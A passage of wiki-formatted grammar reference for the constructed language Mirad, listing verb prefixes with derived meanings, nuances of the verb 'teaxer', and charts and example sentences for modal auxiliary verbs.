::* '''musper'''....''to climb'' → '''&lt;u&gt;yob&lt;/u&gt;musper'''....''to climb down''
::* '''nogyanxer'''....''to scale'' → '''&lt;u&gt;yob&lt;/u&gt;nogyanxer'''....''to downscale''

=== Expressing ''in-'' with '''yeb-''' ===
::* '''ber'''....''to put'' → '''&lt;u&gt;ye(b)&lt;/u&gt;ber'''....''to insert, put in''
::* '''beler'''....''to carry'' → '''&lt;u&gt;ye(b)&lt;/u&gt;beler'''....''to import''
::* '''uzber'''....''to bend'' → '''&lt;u&gt;yeb&lt;/u&gt;uzber'''....''to inflect''
::* '''yujber'''....''to close'' → '''&lt;u&gt;yeb&lt;/u&gt;yujber'''....''to enclose, include''

=== Expressing ''out-, ex-, extra-'' with '''oyeb-''' ===
::* '''ber'''....''to put'' → '''&lt;u&gt;oye&lt;/u&gt;ber'''....''to put out, expose''
::* '''beler'''....''to carry'' → '''&lt;u&gt;oye&lt;/u&gt;beler'''....''to export''
::* '''uber'''....''to send'' → '''&lt;u&gt;oyeb&lt;/u&gt;uber'''....''to emit, send out''
::* '''yujber'''....''to close'' → '''&lt;u&gt;oyeb&lt;/u&gt;yujber'''....''to exclude''

=== Expressing ''pro-, forward'' with '''zay-''' ===
::* '''ber'''....''to put'' → '''&lt;u&gt;zay&lt;/u&gt;ber'''....''to advance, put forward''
::* '''kexer'''....''to seek'' → '''&lt;u&gt;zay&lt;/u&gt;kexer'''....''to scout out''
::* '''puxer'''....''to throw'' → '''&lt;u&gt;zay&lt;/u&gt;puxer'''....''to propel, thrust''
::* '''tyoper'''....''to walk'' → '''&lt;u&gt;zay&lt;/u&gt;tyoper'''....''to progress, to walk forward''

=== Expressing ''back-, retro-, re-'' with '''zoy-''' ===
::* '''uber'''....''to send'' → '''&lt;u&gt;zoy&lt;/u&gt;ber'''....''to send back''
::* '''kixer'''....''to bend'' → '''&lt;u&gt;zoy&lt;/u&gt;kixer'''....''to reflect''
::* '''puxer'''....''to throw'' → '''&lt;u&gt;zoy&lt;/u&gt;puxer'''....''to repel''
::* '''neadper'''....''to track'' → '''&lt;u&gt;zoy&lt;/u&gt;neadper'''....''to backtrack''

=== Expressing ''across, trans-, over-, cross-'' with '''zey-''' ===
::* '''per'''....''to go'' → '''&lt;u&gt;zey&lt;/u&gt;per'''....''to cross, transit''
::* '''beler'''....''to carry'' → '''&lt;u&gt;zey&lt;/u&gt;beler'''....''to transport, convey''
::* '''drer'''....''to write'' → '''&lt;u&gt;zey&lt;/u&gt;drer'''....''to transcribe''
::* '''kyober'''....''to fix'' → '''&lt;u&gt;zey&lt;/u&gt;kyober'''....''to transfix, transplant''
::* '''vyayeker'''....''to check'' → '''&lt;u&gt;zey&lt;/u&gt;vyayeker'''....''to crosscheck''

=== Expressing ''through, per-'' with '''zye-''' ===
::* '''per'''....''to go'' → '''&lt;u&gt;zye&lt;/u&gt;per'''....''to permeate, get through''
::* '''kexer'''....''to seek'' → '''&lt;u&gt;zye&lt;/u&gt;kexer'''....''to rummage, sift through''
::* '''drer'''....''to write'' → '''&lt;u&gt;zye&lt;/u&gt;drer'''....''to cross out, draw a line through''
::* '''iluer'''....''to pour'' → '''&lt;u&gt;zye&lt;/u&gt;iluer'''....''to soak''
::* '''koper'''....''to sneak'' → '''&lt;u&gt;zye&lt;/u&gt;koper'''....''to sneak through''
=== Expressing ''all over, widely, all about'' with '''zya-''' ===
::* '''ber'''....''to put'' → '''&lt;u&gt;zya&lt;/u&gt;ber'''....''to spread''
::* '''buer'''....''to give'' → '''&lt;u&gt;zya&lt;/u&gt;buer'''....''to distribute''
::* '''ijber'''....''to open'' → '''&lt;u&gt;zya&lt;/u&gt;ijber'''....''to open wide''
::* '''nuxer'''....''to pay'' → '''&lt;u&gt;zya&lt;/u&gt;nuxer'''....''to disburse''
::* '''puxer'''....''to throw'' → '''&lt;u&gt;zya&lt;/u&gt;puxer'''....''to scatter, cast about''

=== Expressing ''mid-, center'' with '''ze-''' ===
::* '''ber'''....''to put'' → '''&lt;u&gt;ze&lt;/u&gt;ber'''....''to balance''
::* '''byaser'''....''to stand'' → '''&lt;u&gt;ze&lt;/u&gt;byaser'''....''to straddle''
::* '''der'''....''to say'' → '''&lt;u&gt;ze&lt;/u&gt;der'''....''to interject''
::* '''pyoser'''....''to fall'' → '''&lt;u&gt;ze&lt;/u&gt;pyoser'''....''to sag''
::* '''poxer'''....''to stop'' → '''&lt;u&gt;ze&lt;/u&gt;poxer'''....''to interrupt''
=== Expressing ''futurity'' with '''oj-''' ===
::* '''ber'''....''to put'' → '''&lt;u&gt;oj&lt;/u&gt;ber'''....''to put off, postpone''
::* '''bier'''....''to take'' → '''&lt;u&gt;oj&lt;/u&gt;bier'''....''to borrow''
::* '''fer'''....''to want'' → '''&lt;u&gt;oj&lt;/u&gt;fer'''....''to wish, aspire''
::* '''texer'''....''to think'' → '''&lt;u&gt;oj&lt;/u&gt;texer'''....''to plan''
::* '''teater'''....''to see'' → '''&lt;u&gt;oj&lt;/u&gt;teater'''....''to envision''
::* '''vader'''....''to affirm'' → '''&lt;u&gt;oj&lt;/u&gt;vader'''....''to promise''
=== Expressing ''past'' with '''aj-''' ===
::* '''ber'''....''to put'' → '''&lt;u&gt;aj&lt;/u&gt;ber'''....''to pass, relegate to the past''
::* '''der'''....''to say'' → '''&lt;u&gt;aj&lt;/u&gt;der'''....''to evoke, hearken, recount''
::* '''embier'''....''to occupy'' → '''&lt;u&gt;aj&lt;/u&gt;embier'''....''to haunt''
::* '''texer'''....''to think'' → '''&lt;u&gt;aj&lt;/u&gt;texer'''....''to reminisce, to reflect''
::* '''uvtosder'''....''to express sadness'' → '''&lt;u&gt;aj&lt;/u&gt;uvtosder'''....''to apologize''
::* '''nexer'''....''to store'' → '''&lt;u&gt;aj&lt;/u&gt;nexer'''....''to archive''
=== Expressing ''present'' with '''ej-''' ===
::* '''buer'''....''to give'' → '''&lt;u&gt;ej&lt;/u&gt;buer'''....''to present''
::* '''eser'''....''to exist'' → '''&lt;u&gt;ej&lt;/u&gt;eser'''....''to attend, to be present''
::* '''nuxer'''....''to pay'' → '''&lt;u&gt;ej&lt;/u&gt;nuxer'''....''to pay cash''
::* '''tuer'''....''to inform'' → '''&lt;u&gt;ej&lt;/u&gt;tuer'''....''to update''
::* '''uvtosder'''....''to express sadness'' → '''&lt;u&gt;ej&lt;/u&gt;uvtosder'''....''to apologize''
=== Expressing a stretched out action with '''yag-''' (''long'') ===
::* '''beser'''....''to stay'' → '''&lt;u&gt;yag&lt;/u&gt;beser'''....''to linger''
::* '''bexer'''....''to hold'' → '''&lt;u&gt;yag&lt;/u&gt;bexer'''....''to conserve, preserve''
::* '''daler'''....''to talk'' → '''&lt;u&gt;yag&lt;/u&gt;daler'''....''to ramble''
::* '''dodaler'''....''to orate'' → '''&lt;u&gt;yag&lt;/u&gt;dodaler'''....''to harangue''
::* '''fer'''....''to want'' → '''&lt;u&gt;yag&lt;/u&gt;fer'''....''to yearn, pine''
::* '''teaxer'''....''to look'' → '''&lt;u&gt;yag&lt;/u&gt;teaxer'''....''to stare''
::* '''fer'''....''to want'' → '''&lt;u&gt;yag&lt;/u&gt;fer'''....''to yearn, pine''
=== Expressing a brief action with '''yog-''' (''short'') ===
::* '''drer'''....''to write'' → '''&lt;u&gt;yog&lt;/u&gt;drer'''....''to abbreviate''
::* '''teaxer'''....''to look'' → '''&lt;u&gt;yog&lt;/u&gt;teaxer'''....''to glance at''
::* '''tujer'''....''to sleep'' → '''&lt;u&gt;yog&lt;/u&gt;tujer'''....''to snooze, nap''
::* '''gobler'''....''to cut'' → '''&lt;u&gt;yog&lt;/u&gt;gobler'''....''to cut short, truncate''

=== Some Hybrid Prefixes ===
The prefix '''kui-''' is a hybrid of '''ku-''' (''lateral'') and '''ki-''' (''diagonal'')

::* '''per'''....''to go'' → '''&lt;u&gt;kui&lt;/u&gt;per'''....''to wobble''
::* '''tyoper'''....''to walk'' → '''&lt;u&gt;kui&lt;/u&gt;tyoper'''....''to limp''

The prefix '''zao-''' is a truncated hybrid of '''zay-''' (''forward'') and '''zoy-''' (''backwards''), eg:

::* '''baser'''....''to move'' → '''&lt;u&gt;zao&lt;/u&gt;baser'''....''to rock''
::* '''per'''....''to go'' → '''&lt;u&gt;zao&lt;/u&gt;per'''....''to alternate''
::* '''beler'''....''to carry'' → '''&lt;u&gt;kui&lt;/u&gt;beler'''....''to shuttle, ferry''
::* '''pyoser'''....''to fall'' → '''&lt;u&gt;kui&lt;/u&gt;pyoser'''....''to pendulate''

The prefix '''yaob-''' is a hybrid of '''yab-''' (''up'') and '''yob-''' (''down'').  The final '''b-''' is assimilated or dropped before a '''b''' or '''p'''.

::* '''baser'''....''to move'' → '''&lt;u&gt;yao&lt;/u&gt;baser'''....''to bob''
::* '''per'''....''to go'' → '''&lt;u&gt;yao&lt;/u&gt;per'''....''to heave''
::* '''beler'''....''to carry'' → '''&lt;u&gt;yao&lt;/u&gt;beler'''....''to shuttle, ferry''
::* '''peper'''....''to ride'' → '''&lt;u&gt;yao&lt;/u&gt;peper'''....''to jounce''
::* '''puser'''....''to jump'' → '''&lt;u&gt;yao&lt;/u&gt;puser'''....''to hop, bounce''

The prefix '''bui-''' is a hybrid of '''bu-''' (''to'') and '''bi-''' (''from''), eg:

::* '''drer'''....''to write'' → '''&lt;u&gt;bui&lt;/u&gt;drer'''....''to correspond''
::* '''-er'''....''to x'' → '''&lt;u&gt;bui&lt;/u&gt;er'''....''to trade''
::* '''beler'''....''to carry'' → '''&lt;u&gt;bui&lt;/u&gt;beler'''....''to shuttle, ferry''
::* '''xer'''....''to do'' → '''&lt;u&gt;bui&lt;/u&gt;xer'''....''to push and pull, spring''
::* '''poper'''....''to travel'' → '''&lt;u&gt;bui&lt;/u&gt;poper'''....''to travel to and fro, travel round trip''

The prefix '''uiz-''' is a hybrid of '''uz-''' (''crooked'') and '''iz-''' (''straight''), eg:

::* '''drer'''....''to write'' → '''&lt;u&gt;uiz&lt;/u&gt;drer'''....''to squiggle''
::* '''der'''....''to say'' → '''&lt;u&gt;uiz&lt;/u&gt;der'''....''to equivocate''
::* '''baser'''....''to move'' → '''&lt;u&gt;uiz&lt;/u&gt;baser'''....''to wiggle, to squirm''
::* '''per'''....''to go'' → '''&lt;u&gt;uiz&lt;/u&gt;per'''....''to careen, reel''
::* '''paser'''....''to move'' → '''&lt;u&gt;uiz&lt;/u&gt;paser'''....''to swerve, yaw''

The prefix '''zui-''' is a hybrid of '''zu-''' (''left'') and '''zi-''' (''right''), eg:

::* '''drer'''....''to write'' → '''&lt;u&gt;uiz&lt;/u&gt;drer'''....''to squiggle''
::* '''buxer'''....''to push'' → '''&lt;u&gt;zui&lt;/u&gt;buxer'''....''to push around''
::* '''baser'''....''to move'' → '''&lt;u&gt;zui&lt;/u&gt;baser'''....''to sway, totter''
::* '''per'''....''to go'' → '''&lt;u&gt;zui&lt;/u&gt;per'''....''to zigzag''
::* '''pasler'''....''to shake'' → '''&lt;u&gt;zui&lt;/u&gt;pasler'''....''to wobble''

The prefix '''aoyeb-''' is a hybrid of '''(a)yeb-''' (''in'') and '''oyeb-''' (''out''), eg:

::* '''ber'''....''to put'' → '''&lt;u&gt;aoye&lt;/u&gt;ber'''....''to insert and extract''
::* '''tiexer'''....''to breathe'' → '''&lt;u&gt;aoye&lt;/u&gt;tiexer'''....''to breath in and out''
::* '''paper'''....''to fly'' → '''&lt;u&gt;aoye&lt;/u&gt;paper'''....''to fly in and out''

The prefix '''aob-''' is a hybrid of '''ab-''' (''on'') and '''ob-''' (''off''), eg:

::* '''ber'''....''to put'' → '''&lt;u&gt;ao&lt;/u&gt;ber'''....''to put on and off''
::* '''per'''....''to go'' → '''&lt;u&gt;ao&lt;/u&gt;per'''....''to get on and off, embark and disembark''

The prefix '''vao-''' is a hybrid of '''va-''' (''yes'') and '''vo-''' (''no''), eg:

::* '''der'''....''to say'' → '''&lt;u&gt;vao&lt;/u&gt;der'''....''to decide''
::* '''daler'''....''to talk'' → '''&lt;u&gt;vao&lt;/u&gt;daler'''....''to waffle''
::* '''duder'''....''to answer'' → '''&lt;u&gt;vao&lt;/u&gt;duder'''....''to answer yes or no''
::* '''kyaxer'''....''to change'' → '''&lt;u&gt;vao&lt;/u&gt;kyaxer'''....''to redact''
::* '''texer'''....''to think'' → '''&lt;u&gt;vao&lt;/u&gt;texer'''....''to deliberate, vacillate''

The prefix '''uij''' is a hybrid of '''uj-''' (''end'') and '''ij-''' (''begin'')

::* '''ber'''....''to put'' → '''&lt;u&gt;uij&lt;/u&gt;ber'''....''to switch off and on''
::* '''daler'''....''to talk'' → '''&lt;u&gt;uij&lt;/u&gt;daler'''....''to stutter''

The prefix '''yuij''' is a hybrid of '''yuj-''' (''close'') and '''yij-''' (''open'')

::* '''ber'''....''to put'' → '''&lt;u&gt;yuij&lt;/u&gt;ber'''....''to open and close, blink''

The prefix '''huim''' is a hybrid of '''hum''' (''there'') and '''him''' (''there'')

::* '''paper'''....''to fly'' → '''&lt;u&gt;huim&lt;/u&gt;paper'''....''to fly here and yon''
::* '''per'''....''to go'' → '''&lt;u&gt;huim&lt;/u&gt;per'''....''to wander''
::* '''kexer'''....''to seek'' → '''&lt;u&gt;huim&lt;/u&gt;kexer'''....''to search high and low''

=== Different Nuances of '''teaxer''' with Prefixes ===
&lt;div style=&quot;background: lightyellow;{{Text default color}}; border: solid blue 2px; {{column-count|3}};{{column-rule|2px solid blue}};font-size:smaller;&quot;;&gt;
::* '''teaxer'''....''to look, behold, regard''
::* '''aybteaxer'''....''to supervise, look over''
::* '''ajteaxer'''....''to look back on (retrospect)''
::* '''eynteaxer'''....''to squint''
::* '''fizteaxer'''....''to respect''
::* '''fuzteaxer'''....''to disrespect''
::* '''gawteaxer'''....''to review, re-look''
::* '''hyuitteaxer'''....''to look at one another''
::* '''ibteaxer'''....''to ignore''
::* '''igteaxer'''....''to glance, glimpse''
::* '''ifteaxer'''....''to marvel at''
::* '''izteaxer'''....''to view directly, confront, aim''
::* '''jateaxer'''....''to preview''
::* '''jeteaxer'''....''to watch, observe''
::* '''joteaxer'''....''to review''
::* '''kateaxer'''....''to look for''
::* '''keteaxer'''....''to scan''
::* '''kiteaxer'''....''to look askance''
::* '''koteaxer'''....''to peek, spy''
::* '''kozyeteaxer'''....''to peep''
::* '''kozyoteaxer'''....''to peer''
::* '''kuteaxer'''....''to observe''
::* '''kyeteaxer'''....''to browse''
::* '''kyoteaxer'''....''to stare, glare''
::* '''oteaxer'''....''to ignore, overlook''
::* '''ufteaxer'''....''to glare, leer''
::* '''ugteaxer'''....''to gaze''
::* '''yagteaxer'''....''to gape, gawk''
::* '''yebteaxer'''....''to inspect''
::* '''yibteaxer'''....''to view from afar''
::* '''yogteaxer'''....''to glance at''
::* '''yokteaxer'''....''to get a glimpse of''
::* '''yubteaxer'''....''to examine''
::* '''yuibteaxer'''....''to look near and far''
::* '''yuzteaxer'''....''to look around, circumspect''
::* '''yanteaxer'''....''to view together''
::* '''yizteaxer'''....''to look beyond, overlook''
::* '''vyateaxer'''....''to investigate, check out''
::* '''vyoteaxer'''....''to view wrongly''
::* '''zateaxer'''....''to face, confront''
::* '''zayteaxer'''....''to look ahead, expect''
::* '''zoyteaxer'''....''to look back''
::* '''zeyteaxer'''....''to look across''
::* '''ziteaxer'''....''to look to the right''
::* '''zuteaxer'''....''to look to the left''
::* '''zuiteaxer'''....''to look right and left''
::* '''zyateaxer'''....''to look all over, survey''
::* '''zyeteaxer'''....''to look through, peruse''
::* '''zyoteaxer'''....''to squint''
::* '''yobteaxer'''....''to look down''
::* '''yaobteaxer'''....''to look up and down''
::* '''zaoteaxer'''....''to look back and forth''
::* '''yabteaxer'''....''to look up''
::* '''yubketeaxer'''....''to pry''
::* '''uzteaxer'''....''to look indirectly at''
::* '''oyebteaxer'''....''to look out''
::* '''ojteaxer'''....''to peer into the future''
::* '''marteaxer'''....''to star-gaze''
::* '''tabteaxer'''....''to autopsy''
&lt;/div&gt;

== Modal Verbs ==
: Modal verbs are auxiliary verbs that are usually followed by the main verb in the infinitive or a subjunctive dependent clause and have to do with wanting, permitting, prohibiting, being able, being unable, needing, being obliged to do something, etc. 
==== Principal Modal Auxiliary Verbs ====
[[File:Ladies Should Listen poster.jpg|thumb|]]
: Mirad has a set of modal auxiliary verbs that can be followed by a main verb in the infinitive mode.  This is very much like English modal auxiliary verbs in the following examples:
::* ''I &lt;u&gt;want&lt;/u&gt; to go.''
::* ''You &lt;u&gt;must&lt;/u&gt; wait.''
::* ''You &lt;u&gt;may&lt;/u&gt; stay.''
::* ''I &lt;u&gt;dare&lt;/u&gt; say.''

: Here is a chart showing the main modal auxiliary verbs in Mirad:

:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Principle Modal Auxiliary Verbs
|-
! Type !! Positive !! Negative
|-
! Permission
| '''afer'''....''may''&lt;br&gt;'''ayfer'''....''might'' || '''ofer'''....''may not''&lt;br&gt;'''oyfer'''....''might not''
|-
! Ability
| '''yafer'''....''can''||'''yofer'''....''cannot''
|-
! Need 
| '''efer'''....''need to'' ||
|-
! Obligation
| '''yefer'''....''must''&lt;br&gt;'''yeyfer'''....''should'' ||'''oyefer'''....''must not''&lt;br&gt;'''oyeyfer'''....''should not''
|-
! Desire 
| '''fer'''....''want to'' ||
|-
! Enjoyment 
| '''ifer'''....''love to, enjoy''&lt;br&gt;'''iyfer'''....''like to'' || '''ufer'''....''hate to''&lt;br&gt;'''uyfer'''....''dislike to''
|-
! Courage
|'''yifer'''....''dare to'' || '''yufer'''....''be afraid to, fear''
|-
! Liberty
| '''yiver'''....''have a right to, be free to'' ||  '''yuver'''....''be bound to, be supposed to''
|-
! Expectation
| '''yaker'''....''expect to'' || '''yoker'''....''be surprised to''
|-
! Conation
| '''yeker'''....''try to'' || 
|-
! Difficulty
| '''yiker'''....''to find it hard to'' || '''yuker'''....''to find it easy to''
|}

: These modal auxiliary verbs are often followed by a verbal infinitive, as in the following examples:
::* '''At fe &lt;u&gt;ter&lt;/u&gt;.'''....''I want &lt;u&gt;to know&lt;/u&gt;.''
::* '''Wit yifa &lt;u&gt;yeper&lt;/u&gt;.'''....''He dared &lt;u&gt;to enter&lt;/u&gt;.''
::* '''Yat yafe &lt;u&gt;teater&lt;/u&gt; yet.'''....''We can &lt;u&gt;see&lt;/u&gt; you.''
::* '''Duven et yaka &lt;u&gt;aker&lt;/u&gt;?'''....''Did you expect &lt;u&gt;to win&lt;/u&gt;?''
::* '''Diwe yeku &lt;u&gt;xer&lt;/u&gt; ga fi.'''....''Please try &lt;u&gt;to do&lt;/u&gt; better.''

: If the modal verb is in the hypothetical aspect (conditional), then the sense is somewhat mitigated, as in these examples:

:* '''At &lt;u&gt;fe&lt;/u&gt; per.'''....''I &lt;u&gt;want&lt;/u&gt; to go.''
:* '''At &lt;u&gt;fu&lt;/u&gt; per.'''....''I &lt;u&gt;would&lt;/u&gt; like to go.''

:* '''Et &lt;u&gt;yafe&lt;/u&gt; aker.'''....''You &lt;u&gt;can&lt;/u&gt; win.''
:* '''Et &lt;u&gt;yafu&lt;/u&gt; aker.'''....''You &lt;u&gt;could&lt;/u&gt; win.''

:* '''Yet &lt;u&gt;yefe&lt;/u&gt; iper.'''....''You &lt;u&gt;must&lt;/u&gt; leave.''
:* '''Yet &lt;u&gt;yefu&lt;/u&gt; iper.'''....''You &lt;u&gt;ought&lt;/u&gt; to leave.''

: Post-y-gliding the stem vowel of the modal verb also reduces the strength, for example:

:* '''At &lt;u&gt;ife&lt;/u&gt; et.''' ....''I &lt;u&gt;love&lt;/u&gt; you.''
:* '''At &lt;u&gt;iyfe&lt;/u&gt; et.''' ....''I &lt;u&gt;like&lt;/u&gt; you.''

:* '''Et &lt;u&gt;yefe&lt;/u&gt; iper.'''....''You &lt;u&gt;must&lt;/u&gt; leave.''
:* '''Et &lt;u&gt;yeyfe&lt;/u&gt; iper.'''....''You &lt;u&gt;should&lt;/u&gt; leave.''

:* '''Iyt &lt;u&gt;yafe&lt;/u&gt; aker.'''....''She &lt;u&gt;can&lt;/u&gt; win.''
:* '''Iyt &lt;u&gt;yayfe&lt;/u&gt; aker.'''....''She &lt;u&gt;might&lt;/u&gt; win.''

:* '''At &lt;u&gt;ufa&lt;/u&gt; uda tuz.'''....''I &lt;u&gt;hated&lt;/u&gt; that art.''
:* '''At &lt;u&gt;uyfa&lt;/u&gt; uda tuz.'''....''I &lt;u&gt;disliked&lt;/u&gt; that art.''

: The use of '''l''' and '''r''' intensify the meaning of the auxiliary verbs, eg:

:* '''Et &lt;u&gt;yuve&lt;/u&gt; puer jwe.'''....''You &lt;u&gt;are supposed&lt;/u&gt; to arrive on time.''
:* '''Et &lt;u&gt;yuvle&lt;/u&gt; tepzexer.'''....''You &lt;u&gt;have&lt;/u&gt; to pay attention.''
:* '''Et &lt;u&gt;yuvre&lt;/u&gt; buer nas.'''....''You &lt;u&gt;absolutely must&lt;/u&gt; give money.''

:* '''At &lt;u&gt;yeka&lt;/u&gt; ser yeva.'''....''I &lt;u&gt;tried&lt;/u&gt; to be fair.''
:* '''At &lt;u&gt;yekla&lt;/u&gt; ujber jwa.'''....''I &lt;u&gt;strove&lt;/u&gt; to finish early.''
:* '''At &lt;u&gt;yekra&lt;/u&gt; nixer ga nas.'''....''I &lt;u&gt;struggled (= worked hard))&lt;/u&gt; to earn more money.''

:* '''Iyt &lt;u&gt;ife&lt;/u&gt; eker zyun.'''....''She &lt;u&gt;loves&lt;/u&gt; to play ball.''
:* '''Iyt &lt;u&gt;ifla&lt;/u&gt; teater et.'''....''She &lt;u&gt;was delighted&lt;/u&gt; to see you.''
:* '''Iyt &lt;u&gt;ifre&lt;/u&gt; teaper him.'''....''She &lt;u&gt;adores&lt;/u&gt; visiting here.''

: Here are some examples showing how these modal verbs are used as auxiliaries:

::* '''Et &lt;u&gt;afe&lt;/u&gt; oyeper ay ifeker.'''....''You &lt;u&gt;may&lt;/u&gt; go out and play.''
::* '''Yat &lt;u&gt;efa&lt;/u&gt; tujer.'''....''We &lt;u&gt;needed&lt;/u&gt; to sleep.''
::* '''Ot &lt;u&gt;ofe&lt;/u&gt; mavier him.'''....''One &lt;u&gt;is prohibited&lt;/u&gt; to smoke here.''
::* '''Mavier him &lt;u&gt;ofwe&lt;/u&gt;.'''....''Smoking here is prohibited.''
::* '''At &lt;u&gt;ife&lt;/u&gt; dyeer.'''....''I &lt;u&gt;love&lt;/u&gt; to read.''
::* '''Duven et &lt;u&gt;fe&lt;/u&gt; yeper?'''....''Do you &lt;u&gt;want&lt;/u&gt; to come in?''
::* '''At &lt;u&gt;fu&lt;/u&gt; teaper et edjub.'''....''I &lt;u&gt;would like&lt;/u&gt; to visit you some day.''
::* '''It &lt;u&gt;ufaye hyaj&lt;/u&gt; teaxwer.'''....''He &lt;u&gt;has always hated&lt;/u&gt; being looked at.''
::* '''Duven et &lt;u&gt;iyfe&lt;/u&gt; per tilami?'''....''Do you &lt;u&gt;like&lt;/u&gt; going to bars?''
::* '''At &lt;u&gt;uyfe&lt;/u&gt; tijer gra jwa.'''....''I &lt;u&gt;dislike&lt;/u&gt; waking up too early.''
::* '''Et &lt;u&gt;yafe&lt;/u&gt; xer hyehos et fu.'''....''You &lt;u&gt;can&lt;/u&gt; do whatever you like.''
::* '''Et &lt;u&gt;yefer&lt;/u&gt; xer ad vyaas.'''....''You &lt;u&gt;must&lt;/u&gt; do the right thing.''
::* '''Et &lt;u&gt;yeyfe&lt;/u&gt; voy daler huuyen azay.'''....''You &lt;u&gt;should&lt;/u&gt; not talk so loud.''
::* '''At &lt;u&gt;yeyfa&lt;/u&gt; ter ga fi.'''....''I &lt;u&gt;should have&lt;/u&gt; known better.''
::* '''At &lt;u&gt;voy yifu&lt;/u&gt; der hyea fuas.'''....''I &lt;u&gt;would not dare&lt;/u&gt; say anything bad.''
::* '''&lt;u&gt;Von yufu&lt;/u&gt; der hos et tesde.'''....''&lt;u&gt;Don't be afraid&lt;/u&gt; to say what you mean.''
::* '''Et &lt;u&gt;yive&lt;/u&gt; dier yevanavdut.'''....''You &lt;u&gt;have a right&lt;/u&gt; to ask for a lawyer.''
::* '''Yat &lt;u&gt;voy yuvle&lt;/u&gt; kyoejer.'''....''We &lt;u&gt;are not bound&lt;/u&gt; to stick around.''

=== Subject-oriented vs. Patient-oriented Modal Verb Forms ===

:: All of these modal verbs can be passive, in which case they are &quot;patient-oriented&quot; rather than &quot;subject-oriented.&quot; The participial adjective '''yafa'''....''able'' is subject-oriented and refers to a person, whereas the passived adjective '''yafwa'''....''possible'' is patient-oriented and refers to a thing or event. Here is a chart of the principal modal verbs and corresponding participial adjectives with this subject/object-orientation distinction shown:

:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Subject-oriented vs. Patient-oriented Modal Verb Forms
|-
! Modal Type || Subject-oriented !! Subject-oriented !! Patient-oriented !! Patient-oriented
|-
! !! Verb !! Adjective !! Verb !! Adjective
|-
!row=1| Permission
| '''afer'''&lt;br&gt;''may'' || '''afa'''&lt;br&gt;''allowed'' || '''afwer'''&lt;br&gt;''be permitted'' || '''afwa'''&lt;br&gt;''permissable''
|-
!row=1| Necessity 
| '''efer'''&lt;br&gt;''need'' || '''efa'''&lt;br&gt;''needful'' || '''efwer'''&lt;br&gt;''be necessary'' || '''efwa'''&lt;br&gt;''necessary, required''
|-
!row=1| Prohibition
| '''ofer'''&lt;br&gt;''be unallowed'' || '''ofa'''&lt;br&gt;''prohibited'' || '''ofwer'''&lt;br&gt;''be prohibited'' || '''ofwa'''&lt;br&gt;''banned''
|-
!row=1| Possibility
| '''yafer'''&lt;br&gt;''be able'' || '''yafa'''&lt;br&gt;''able'' || '''yafwer'''&lt;br&gt;''be possible'' || '''yafwa'''&lt;br&gt;''possible''
|-
!row=1| Obligation
| '''yefer'''&lt;br&gt;''must'' || '''yefa'''&lt;br&gt;''obliged'' || '''yefwer'''&lt;br&gt;''be obligatory'' || '''yefwa'''&lt;br&gt;''obligatory''
|-
!row=1| Duty 
| '''yeyfer'''&lt;br&gt;''should'' || '''yeyfa'''&lt;br&gt;''supposed, duty-bound'' || '''yeyfwer'''&lt;br&gt;''be supposed'' || '''yeyfwa'''&lt;br&gt;''due''
|-
!row=1| Impossibility
| '''yofer'''&lt;br&gt;''be unable'' || '''yofa'''&lt;br&gt;''unable'' || '''yofwer'''&lt;br&gt;''be impossible'' || '''yofwa'''&lt;br&gt;''impossible''
|-
!row=1| Volition
| '''fer'''&lt;br&gt;''want'' || '''fa'''&lt;br&gt;''desirous'' || '''fwer'''&lt;br&gt;''be desirable'' || '''fwa'''&lt;br&gt;''desirable, wanted''
|-
!row=1| Love 
| '''ifer'''&lt;br&gt;''love''&lt;br&gt;'''iyfer'''&lt;br&gt;''like'' || '''ifa'''&lt;br&gt;''enamored''&lt;br&gt;'''iyfa'''&lt;br&gt;''fond'' || '''ifwer'''&lt;br&gt;''be loved''&lt;br&gt;'''iyfwer'''&lt;br&gt;''be liked'' || '''ifwa'''&lt;br&gt;''lovable''&lt;br&gt;'''iyfwa'''&lt;br&gt;''likeable''
|-
!row=1| Hate 
| '''ufer'''&lt;br&gt;''hate''&lt;br&gt;'''uyfer'''&lt;br&gt;''dislike'' || '''ufa'''&lt;br&gt;''averse''&lt;br&gt;'''uyfa'''&lt;br&gt;''displeased''|| '''ufwer'''&lt;br&gt;''be hated''&lt;br&gt;'''uyfwer'''&lt;br&gt;''be disliked'' || '''ufwa'''&lt;br&gt;''odious''&lt;br&gt;''unliked''
|-
!row=1| Courage 
| '''yifer'''&lt;br&gt;''dare'' || '''yifa'''&lt;br&gt;''daring, brave'' || '''yifwer'''&lt;br&gt;''be safe'' || '''yifwa'''&lt;br&gt;''safe''
|-
!row=1| Fear 
| '''yufer'''&lt;br&gt;''be afraid'' || '''yufa'''&lt;br&gt;''afraid'' || '''yufwer'''&lt;br&gt;''be a danger'' || '''yufwa'''&lt;br&gt;''frightening''
|-
!row=1| Joy 
| '''iver'''&lt;br&gt;''enjoy'' || '''iva'''&lt;br&gt;''glad'' || '''ivwer'''&lt;br&gt;''be a joy'' || '''ivwa'''&lt;br&gt;''enjoyable''
|-
!row=1| Sorrow
| '''uver'''&lt;br&gt;''be sorry'' || '''uva'''&lt;br&gt;''sorry, sad'' || '''uvwer'''&lt;br&gt;''be a shame'' || '''uvwa'''&lt;br&gt;''regrettable''
|}

: Examples of subject-oriented forms:

::* '''At se &lt;u&gt;yafa&lt;/u&gt; xer hes.'''....''I &lt;u&gt;am capable of&lt;/u&gt; doing anything.''
::* '''Et &lt;u&gt;ofe&lt;/u&gt; teater hia dyezun.'''....''You &lt;u&gt;are not allowed/are prohibited&lt;/u&gt; to see this film.''
::* '''Duven at &lt;u&gt;afe&lt;/u&gt; per hum?'''....''Am I &lt;u&gt;allowed&lt;/u&gt; to go there?''
::* '''Yat &lt;u&gt;fu&lt;/u&gt; ter eta dyun.'''....''We &lt;u&gt;would like&lt;/u&gt; to know your name.''
::* '''Piti &lt;u&gt;ufe&lt;/u&gt; beser be mel.'''....''Fish &lt;u&gt;hate&lt;/u&gt; to remain on dry land.''
::* '''At ajay &lt;u&gt;ifa&lt;/u&gt; dazer.'''....''I once &lt;u&gt;loved&lt;/u&gt; to dance.''
::* '''Et se iva, at &lt;u&gt;yife&lt;/u&gt; der.'''....''You are beautiful, I &lt;u&gt;dare&lt;/u&gt; say.''
::* '''At &lt;u&gt;yeyfa&lt;/u&gt; xer has ga ig.'''....''I &lt;u&gt;should&lt;/u&gt; have done it sooner.''
